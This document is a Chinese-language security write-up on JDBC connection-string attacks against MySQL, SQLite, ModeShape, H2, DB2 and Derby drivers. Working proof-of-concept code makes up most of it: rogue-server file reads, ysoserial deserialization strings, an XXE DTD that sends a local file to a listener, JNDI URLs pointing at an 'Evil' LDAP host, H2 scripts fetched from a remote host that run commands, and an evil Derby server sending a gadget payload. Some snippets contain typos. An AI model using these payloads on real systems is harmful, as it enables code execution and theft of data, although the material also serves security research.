Mysql 任意文件读取
条件
- 连接串功能需要 JDBC
影响范围
- Mysql Client (PDF)
- PHP mysqli (pwned, fixed in 7.3.4)
- php pdo (缺省禁用)
- Python MySQLdb
- Mysqlclient for Python (pwned)
- java JDBC驱动器(在某些情况下默认禁用 pwned)
- Navicat (owned)
行为
- 读取服务端文件
- 结合 phar协议 ssrf,见开头链接
原理
因为在mysql中的LOAD DATA INFILE语法中,它主要是用于读取一个文件的内容并将其放到一个表中。
Load data infile "/data/data.csv" into table TestTable;load data local infile "/home/data.csv" into table TestTable;
一个是读服务器本地上的文件,另一个是读client客户端的文件。我们这次要使用的也就是LOAD DATA LOCAL INFILE
这种形式。
正如官方文档中提出的安全风险,“In theory, a patched server could be built that would tell the client program to transfer a file of the server’s choosing rather than the file named by the client in the LOAD DATA statement.”
可以看到,客户端读取哪个文件其实并不是自己说了算的,是服务端说了算的,形象一点地说就是下面这个样子:
- 客户端:hi~ 我将把我的 data.csv 文件给你插入到 test 表中!
- 服务端:OK,读取你本地 data.csv 文件并发给我!
- 客户端:这是文件内容:balabal!
正常情况下,这个流程不会有什么问题,但是如果我们制作了恶意的客户端,并恢复服务端任意一个我们想要获取的文件,那么情况就不一样了。
- 客户端:hi~ 我将把我的 data.csv 文件给你插入到 test 表中!
- 服务端:OK,读取你本地的 / etc/passwd 文件并发给我!
- 客户端:这是文件内容:balabal(/etc/passwd 文件的内容)!
漏洞利用
伪造一个 MySQL 的服务端,甚至不需要实现 MySQL 的任何功能(除了向客户端回复 greeting package),当有客户端连接上这个假服务端的时候,我们就可以任意读取客户端的一个文件,当然前提是运行客户端的用户具有读取该文件的权限
使用工具搭建恶意Mysql服务,通过?user=选中需要读取的文件:
public class Test {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_E:/tools.md&maxAllowedPacket=655360";
Connection con = DriverManager.getConnection(url);
}
}
在mysql-connector-java 5.1.x版本需要加上maxAllowedPacket=655360选项,否则报java.lang.NegativeArraySizeException
错误
使用场景
- 与网站重装漏洞配合使用任意文件读取服务器。
- 需要外部数据连接的功能点,如数据迁移
- 建立信息读取蜜罐上的攻击者。
修复
- 使用SSL建立可信连接
jdbc:mysql://myDatabaseInfo:3306/DB_NAME?useSSL=true&trustCertificateKeyStoreUrl=path\to\truststore&trustCertificateKeyStorePassword=myPassword
- 在配置文件中禁用LOAD读取文件
POC
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_E:/tools.md&maxAllowedPacket=655360";
Connection con = DriverManager.getConnection(url);
AllowUrlInLocalInfile的使用
条件
- JDBC连接可控
- 开启
allowUrlInLocalInfile
, 默认关闭
作用
能够使用URL类支持的所有协议,进行SSRF获取file协议读取本地文件
原理
在mysql-connector-java
包中存在一个sendFileToServer
方法
当然,这个方法在不同的版本所处的包位置不同,我这里是使用的
5.1.48
版本
在 3.0.3版本开始存在 参见官方文档:MySQL :: MySQL Connector/J 8.0 Developer Guide :: 6.3.5 Security
在这里将会判断是否开始了选项,如果开启了就会进入else
语句中,首先会判断是否存在:
之后才会将其作为URL类构造函数的参数,后面进行请求
使用http协议
之后开启8888
端口的监听
//test.java
public class Test {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_http://127.0.0.1:8888/&maxAllowedPacket=655360&allowUrlInLocalInfile=true";
Connection con = DriverManager.getConnection(url);
}
}
成功请求,说明可以获得回显的内容
使用file协议
读取内网文件
public class Test {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_file:///etc/passwd&maxAllowedPacket=655360&allowUrlInLocalInfile=true";
Connection con = DriverManager.getConnection(url);
}
}
列目录
public class Test {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_file:///.&maxAllowedPacket=655360&allowUrlInLocalInfile=true";
Connection con = DriverManager.getConnection(url);
}
}
使用jar协议
jdbc:mysql://127.0.0.1:3306/test?user=fileread_file:///test.jar!/META-INF/MANIFEST.MF&maxAllowedPacket=655360&allowUrlInLocalInfile=true
修复
使用属性进行覆盖
public class Test {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_E:/tools.md&maxAllowedPacket=655360&allowUrlInLocalInfile=true";
Properties properties = new Properties();
properties.setProperty("allowLoadLocalInfile","false");
// properties.setProperty("allowUrlInLocalInfile", "false");
Connection con = DriverManager.getConnection(url, properties);
}
}
jdbc:mysql://127.0.0.1:3306/test?user=fileread_file:///E:/tools.md&maxAllowedPacket=655360&allowUrlInLocalInfile=true
Mysql客户端反序列化
同样可以使用Quick Start · alibaba/cobar Wiki (github.com)j进行代理,在com.alibaba.cobar.server.ServerConnection#execute
中添加代码
if (sql.equals("SHOW xx")) {
sql = "select * from evil";
}
进行序列化字符串的获取
条件
- JDBC连接串可控
原理
POC
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
关键属性
**queryInterceptors:**一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作)
statementInterceptors:和上面的拦截器作用一致,实现了com.mysql.jdbc.StatementInterceptor接口的Class
到底应该使用哪一个属性,我们可以在对应版本的
com.mysql.jdbc.ConnectionPropertiesImpl
类中搜索,如果存在,就是存在的那个属性**autoDeserialize:**自动检测与反序列化存在BLOB字段中的对象。
getObject方法的寻找
我们可以关注到mysql-connnector-java-xxx.jar
包中存在有ResultSetImpl.getObject()
方法
当然,同样的,在不同的版本下的位置不同,我这里使用的5.1.48
版本,他的位置在com.mysql.jdbc.ResultSetImpl
类中
首先他会判断类型,如果是BIT
类型,就会调用getObjectDeserializingIfNeeded
方法,跟进
之后他首先会判断field
是否是Binary
或者Blob
BLOB (binary large object),二进制大对象,是一个可以存储二进制文件的容器。在计算机中,BLOB常常是数据库中用来存储二进制文件的字段类型
之后取出对应的字节数,并且判断是否开启了autoDeserialize
, 如果开启了,将会进入if语句继续判断前两个字节是否为-84
-19
这是序列化字符串的标志,hex分别为AC ED
, 如果满足条件,就会调用对应的readObject
方法进行反序列化
所以不难发现,如果我们能够控制需要反序列化的数据,就能够进行反序列化漏洞的利用
ServerStatusDiffInterceptor拦截器的妙用
我们可以关注到com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
这个类,在其中的populateMapWithSessionStatusValues
方法中,会调用Util.resultSetToMap(toPopulate, rs);
方法,进而调用了java.sql.ResultSet.getObject
方法,形成利用链
//populateMapWithSessionStatusValues
private void populateMapWithSessionStatusValues(Connection connection, Map<String, String> toPopulate) throws SQLException {
java.sql.Statement stmt = null;
java.sql.ResultSet rs = null;
try {
toPopulate.clear();
stmt = connection.createStatement();
rs = stmt.executeQuery("SHOW SESSION STATUS");
Util.resultSetToMap(toPopulate, rs); //调用getObject方法
} finally {
if (rs != null) {
rs.close();
}
if (stmt != null) {
stmt.close();
}
}
}
//Util.resultSetToMap
public static void resultSetToMap(Map mappedValues, java.sql.ResultSet rs) throws SQLException {
while (rs.next()) {
mappedValues.put(rs.getObject(1), rs.getObject(2));
}
}
同样通过idea的find Usages
方法找到在postProcess
方法中调用了populateMapWithSessionStatusValues
public ResultSetInternalMethods postProcess(String sql, Statement interceptedStatement, ResultSetInternalMethods originalResultSet, Connection connection)
throws SQLException {
if (connection.versionMeetsMinimum(5, 0, 2)) {
//调用
populateMapWithSessionStatusValues(connection, this.postExecuteValues);
connection.getLog().logInfo("Server status change for statement:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));
}
return null; // we don't actually modify a result set
}
同样在preProcess
方法中也调用了
在调用链中也可以得到
populateMapWithSessionStatusValues:61, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:84, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:54, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)
preProcess:65, NoSubInterceptorWrapper (com.mysql.jdbc)
invokeStatementInterceptorsPre:2824, MysqlIO (com.mysql.jdbc)
sqlQueryDirect:2580, MysqlIO (com.mysql.jdbc)
execSQL:2465, ConnectionImpl (com.mysql.jdbc)
execSQL:2439, ConnectionImpl (com.mysql.jdbc)
executeQuery:1365, StatementImpl (com.mysql.jdbc)
loadServerVariables:3775, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3196, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2233, ConnectionImpl (com.mysql.jdbc)
createNewIO:2015, ConnectionImpl (com.mysql.jdbc)
<init>:768, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:425, Util (com.mysql.jdbc)
getInstance:385, ConnectionImpl (com.mysql.jdbc)
connect:323, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:208, DriverManager (java.sql)
main:15, Test (pers.xstream)
在com.mysql.jdbc.ConnectImpl#loadServerVariables
方法存在需要执行一段SHOW VARIABLES
的sql语句
results = stmt.executeQuery(versionComment + "SHOW VARIABLES");
因为在这个版本中的mysql-connector
使用的是statementInterceptors
作为在执行SQL语句的拦截器类,所以在com.mysql.jdbc.MysqlIO#sqlQueryDirect
方法中存在对这个属性值是否存在的判断,如果存在,就调用其中的拦截处理逻辑,不存在就直接放行
进而调用了对应Interceptor
的preProcess
方法,如果我们在JDBC连接串中使用的是ServerStatusDiffInterceptor
作为拦截器,那么就会调用他的preProcess
方法,进而形成了利用链
注意:在populateMapWithSessionStatusValues
方法中存在一个执行SHOW SESSION STATUS
获取结果的逻辑
rs = stmt.executeQuery("SHOW SESSION STATUS");
我们在恶意Mysql服务端进行处理的时候就可以通过进行SHOW SESSION STATUS
或者其他版本的其他标志作为标志,返回我们构造的恶意payload, 使得在后面调用了UtilresultSetToMap
进行getObject的调用
在ResultSetImpl#getObject
方法中对mysql服务端返回的数据进行判断,这里是Types.LONGVARBINARY
类型(长二进制数据), 再然后就是前面提到了getObject
方法寻找的部分了
detectCustomCollations的妙用
在这里我们将环境中的mysql-connector-java
包改为5.1.29
版本
来自chybeta
佬的研究,我们可以关注到ConnectionImpl#buildCollationMapping
中存在有Util.resultSetToMap
的调用,能够形成前面所描述的利用链
首先看一下调用栈
buildCollationMapping:1004, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3617, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2550, ConnectionImpl (com.mysql.jdbc)
createNewIO:2320, ConnectionImpl (com.mysql.jdbc)
<init>:834, ConnectionImpl (com.mysql.jdbc)
<init>:46, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:416, ConnectionImpl (com.mysql.jdbc)
connect:347, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:208, DriverManager (java.sql)
main:16, Test (pers.xstream)
从上面的截图我们可以看到有几个判断条件
- 需要满足服务端版本要大于
4.1.0
, 而且detectCustomCollations
需要为true
if (versionMeetsMinimum(4, 1, 0) && getDetectCustomCollations())
- 需要满足大于
5.0.0
,在5.1.28
不存在这个条件
同样这里获取了执行SHOW COLLATION
命令的结果集,同样可以作为标志返回恶意payload
只要满足上述条件,就只需要将结果集中的字段 2 或者 3 封装我们的序列化数据就可以成功利用了
版本区分
ServerStatusDiffInterceptor
5.1.11-6.0.6
使用的是statementInterceptors
属性,而8.0
以上使用queryInterceptors
, 具体属性可以在ConnectionPropertiesImpl
类中搜索5.1.11
以下,不能通过这种方式利用,因为在5.1.10
中Interceptors
的初始化过程在漏洞利用过程之后,将会在利用中,因为找不到interceptor
而不能够触发成功
https://github.com/mysql/mysql-connector-j/compare/5.1.10…5.1.11#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL779-L785
5.0.x
没有这个拦截器
detectCustomCollations
8.0.x
不存在getObject方法的调用6.x
能够利用,因为他在com.mysql.cj.jdbc.ConnectionImpl
中调用了ResultSetUtil.resultSetToMap
和上面的功能类似,且没有版本判断
- 从
5.1.29
开始启用detectCustomCollations
属性,但是直到5.1.49
做出了更改导致不能使用
https://github.com/mysql/mysql-connector-j/compare/5.1.48…5.1.49#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL911-L914
在这里值得注意的是,在5.1.41
做出了更改,不再调用Util.resultSetToMap
方法,进而调用getObject方法,改为了直接调用getObject
方法
https://github.com/mysql/mysql-connector-j/compare/5.1.40…5.1.41#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL944-R936
- 在
5.1.19 - 5.1.28
过程中,不存在detectCustomCollations
属性的判断,但是仍然可以调用
https://github.com/mysql/mysql-connector-j/compare/5.1.28…5.1.29#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL986-L1005 5.1.18
以下没有使用getObject
方法的调用
可用连接串
直接对fnmsd
的研究稍作修改
将其中5.1.41不可用改成5.1.29
以上只有5.1.49
不可用,且6.x
系列都可以使用
XXE_attack_analysis
原理
在mysql connector 5.1.48版本中,注册了两个驱动。除了常见的驱动com.mysql.cj.jdbc.Driver之外,就是这个名为com.mysql.fabric.jdbc.FabricMySQLDriver的驱动。
MySQL Fabric 是一个管理 MySQL 服务器场的系统。MySQL Fabric 提供了一个可扩展且易于使用的系统,用于管理 MySQL 部署以实现分片和高可用性。
Litch1研究了FabricMySQLDriver的源码,发现如果连接url以jdbc:mysql:fabric://开头,程序就会进入Fabric流程逻辑。
POC
from flask import Flask
app = Flask(__name__)
@app.route('/xxe.dtd', methods=['GET', 'POST'])
def xxe_oob():
return '''<!ENTITY % aaaa SYSTEM "fiLe:///tmp/data">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM
'http://127,0.0.1:5000/xxe?data=%aaaa;'>"> %demo;'''
@app.route('/', methods=['GET', 'POST’])
def dtd():
return '''<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://127.0.0.1:5000/xxe.dtd"> %xd;]>
<root>&bbbb;</root>'''
if __name__ == '__main__'
app.run()
public static void main(String[] args) throws Exception{
String url = "jdbc:mysql:fabric://127.0.0.1:5000";
Connection conn = DriverManager.getConnection(url);
}
使用场景
Weblogic
在Weblogic后台接口中更改JDBC url
- anti-attack
- decept-defense(HoneyPot for example)
Other databases
sqlite
原理
在sqlite与数据库进行连接的时候,会调用org.sqlite.SQLiteConnection#open
方法(版本不同,类也不同)
如果连接的url,是以:resource:
开头的,之后就会调用extractResource
方法,并且会将其分隔开来,之后使用URL封装,跟进
之后会读取远程的数据
参考“SELECT code_execution FROM * USING SQLite;”,我们可以利用“CREATE VIEW”将不可控的SELECT语句转换为可控。
如果我们可以控制 SELECT 语句,我们可以使用 SELECT load_extension(‘/tmp/test.so’) 来加载 dll/so 并执行恶意代码,但在现实世界中,目标系统上存在可控文件并不容易,并且load_extension 默认设置为关闭。
除了常见的漏洞之外,我们还可以使用 SQLite 中的内存损坏(例如“Magellan”)来导致 JVM 崩溃。
依赖
<dependency>
<groupId>org.xerial</groupId>
<artifactId>sqlite-jdbc</artifactId>
<version>3.35.0</version>
</dependency>
POC
创建database控制Select语句
利用
Class.forName("org.sqlite.JDBC");
Connection connection = DriverManager.getConnection("jdbc:sqlite::resource:http://127.0.0.1:8888/poc.db");
ModeShape
原理
ModeShapeis an implementation of JCR(Java Content Repository),using JCR API to access data from other systems,e.g. filesystem, Subversion, JDBC metadata…
Repository source can be configured like
jdbc:jcr:jndi:jcr:?repositoryName=repository
.So of cause we can use ModeShape to trigger JNDI Injection:
依赖
<dependency>
<groupId>org.modeshape</groupId>
<artifactId>modeshape-jdbc</artifactId>
<version>5.0.0.Final</version>
</dependency>
POC
public static void main(String[] args) throws Exception{
Class.forName("org.modeshape.jdbc.LocalJcrDriver");
DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:9999/Evil");
}
H2
原理
在SpringBoot
项目中存在有h2的console接口,可以改变JDBC‘s url达到攻击的目的
条件
需要在配置文件中打开console功能
server.port=8000
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
分析
RunScript
在poc中的TRACE_LEVEL_SYSTEM_OUT=3
是定义了输出级别为DEBUG
级别
我们在org.h2.engine.Engine#openSession
打下断点,在前面就会分离出INIT
属性值,得到RUNSCRIPT FROM 'xxx'
之后会调用var6.prepareCommand
方法传入参数var5
,初始化数据库连接
跟进prepareCommand
方法,调用了prepareLocal方法,继续跟进,之后会得到一个CommandContainer
类,之后会调用他的executeUpdate
方法,之后跟进到了update
方法中
在update
方法中
首先会在断点处接收远程来的poc.sql
之后在调用ScriptReader
中得到sql脚本,之后在之后执行execute
执行命令
为什么要使用 RUNSCRIPT捏?
因为其中的prepareCommand
只能够支持一条sql语句的执行,所以我们使用命令直接从远程获取执行sql语句脚本
不出网分析
所以我们需要找到一个能够只执行一条sql语句就能达到目的的途径
来自HTB中的议题分享,Litch1查看了语句CREATE ALIAS的创建者的源代码,发现语句中JAVA METHOD的定义交给了源编译类。支持的编译器有Java/Javascript/Groovy三种,从源代码编译器着手开始
Groovy
在org.h2.util.SourceCompiler#getClass
方法中他会通过isGroovySource
判断是否是Groovy的源代码,如果是,就会调用SourceCompiler.GroovyCompiler.parseClass
对源代码进行解析
进而调用了groovy.lang.GroovyCodeSource#parseClass
进行解析
在poc中我们使用@AST注解进行断言执行任意代码
String groovy = "@groovy.transform.ASTTest(value={" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")" +
"})" +
"def x";
String url = "jdbc:h2:mem:dbtest;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";
在环境中需要存在groovy依赖
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-sql</artifactId>
<version>3.0.9</version>
</dependency>
JavaScript执行
采用JavaScript + CREATE TRIGGER的方式不仅可以编译代码,还可以调用eval方法
同样在CommandContainer#update
方法中调用了this.prepared.update()
这里的prepared
是CreateTrigger
类
跟进,在其中获得了对应的table属性,和TriggerObject,之后调用var4.setTriggerSource
设置源代码
跟进,跟着调用了setTriggerAction
和 load
方法
在load方法中,会判断是否有triggerClassName
,如果有,就直接加载对应的类并实例化,这里我们选择进入loadFromSource方法,直接从源代码中加载,跟进
在其中,他会判断source是否是javaScript源代码,如果是,就会进行编译,特别的,在编译完成之后他会执行eval
操作,自然的就达到了命令执行的目的
String javaScript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"calc\")";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javaScript +"'";
POC
RunScript
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/poc.sql'
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';CALL EXEC ('calc')
Groovy
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("org.h2.Driver");
String groovy = "@groovy.transform.ASTTest(value={" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")" +
"})" +
"def x";
String url = "jdbc:h2:mem:dbtest;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";
Connection connection = DriverManager.getConnection(url);
connection.close();
}
JavaScript
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("org.h2.Driver");
String javaScript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"calc\")";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javaScript +"'";
Connection connection = DriverManager.getConnection(url);
connection.close();
}
DB2
原理
clientRerouteServerListJNDINameIdentifies a JNDI reference to a DB2ClientRerouteServerList instance in a JNDI repository of reroute server information.clientRerouteServerListJNDIName applies only to IBM Data Server Driver for JDBC and SQLJ type 4 connectivity, and to connections that are established through the DataSource interface. If the value of clientRerouteServerListJNDIName is not null, clientRerouteServerListJNDIName provides the following functions:
• Allows information about reroute servers to persist across JVMs
• Provides an alternate server location if the first connection to the data source fails
依赖
<dependency>
<groupId>com.ibm.db2</groupId>
<artifactId>jcc</artifactId>
<version>11.5.7.0</version>
</dependency>
POC
Class.forName("com.ibm.db2.jcc.DB2Driver");
DriverManager.getConnection("jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:9999/Evil;");
Apache Derby
原理
在org.apache.derby.impl.store.replication.net.SocketConnection
中进行socket连接中
在readMessage
方法中调用了输入流的readObject
方法
之后在ReplicationMessageTransmit$MasterReceiverThread
类存在readMessage
方法的调用
因为ReplicationMessageTransmit
类是通过配置中的startMaster=true
和 slaveHost=127.0.0.2
将数据库从master复制到了slave中去的,所以如果我们可以搭建恶意服务器,然后受害端就会接收获取的数据,之后进行反序列化操作
依赖
<dependency>
<groupId>org.apache.derby</groupId>
<artifactId>derby</artifactId>
<version>10.10.1.1</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>
POC
public static void main(String[] args) throws Exception{
Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
DriverManager.getConnection("jdbc:derby:webdb;startMaster=true;slaveHost=evil_server_ip");
}
evil server
public class EvilSlaveServer {
public static void main(String[] args) throws Exception {
int port = 4851;
ServerSocket server = new ServerSocket(port);
Socket socket = server.accept();
socket.getOutputStream().write(Serializer.serialize(new CommonsBeanutils1().getObject("calc")));
socket.getOutputStream().flush();
Thread.sleep(TimeUnit.SECONDS.toMillis(5));
socket.close();
server.close();
}
}
📮评论